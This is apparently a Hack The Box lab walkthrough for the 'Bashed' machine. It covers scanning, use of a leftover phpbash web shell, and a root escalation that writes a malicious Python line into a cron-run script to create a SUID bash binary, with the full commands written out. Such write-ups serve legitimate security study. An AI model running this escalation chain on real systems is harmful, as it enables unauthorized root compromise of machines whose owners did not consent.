Bashed Walkthrough

Machine: Bashed#

Date: 17-03-2026 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt $MACHINE_IP

Results:

• Port 80 → HTTP (Apache 2.4.18, Ubuntu)

Notes:

• Site title: “Arrexel’s Development Site” — hints at phpbash tool
• Single port, attack surface limited to web

📂 Enumeration#

Gobuster:#

gobuster dir -u http://10.129.6.1/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -t 50

• Found: /dev → contained phpbash.php and phpbash.min.php
• Found: /uploads, /php, /images, /css, /js, /fonts
• Found: /config.php (200 but empty)

💥 Exploitation#

• Navigated to http://10.129.6.1/dev/phpbash.php
• Interactive web shell available as www-data — no exploit needed
• phpbash is a tool authored by Arrexel, left on his own dev server

Result: Shell as www-data

⚡ Privilege Escalation#

Enumeration:

• sudo -l → www-data can run anything as scriptmanager (NOPASSWD)
• /scripts/ directory owned by scriptmanager, contains test.py
• test.txt owned by root and timestamped recently → root runs all .py files in /scripts/ via cron

Path to root:

• Overwrote test.py with malicious Python using tee (webshell filtered > redirects):

echo "import os; os.system('cp /bin/bash /tmp/rootbash2; chmod 4755 /tmp/rootbash2')" | sudo -u scriptmanager tee /scripts/test.py

• Waited for cron to execute → /tmp/rootbash2 appeared with SUID bit
• Executed with -p -c to preserve privileges from webshell (no TTY):

/tmp/rootbash2 -p -c "cat /root/root.txt"

Successful escalation: root ✅

🎯 Loot / Flags#

• user.txt: [FLAG REDACTED]
• root.txt: [FLAG REDACTED]

📝 Lessons Learned#

• Developer tools left on production servers are an immediate foothold — always check /dev directories
• CHANGELOG.txt, site titles, and generator meta tags reveal CMS/framework versions instantly
• When sudo -u user cmd doesn’t spawn a shell, use -c to run individual commands
• Cron jobs running scripts as root in user-writable directories are a classic privesc vector
• tee is a reliable alternative to > redirection when working inside limited shells
• Use chmod 4755 (octal) instead of chmod +s when special characters get filtered
• Always use -p with SUID bash copies to preserve elevated privileges
• -p -c "command" is the correct syntax to run commands via a SUID bash binary without an interactive shell

#Linux #HTB #Enumeration #Web #Apache #Gobuster #WebShell #PHP #CommandExecution #PrivilegeEscalation #Sudo #Cron #Python #SUID #FileWrite #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.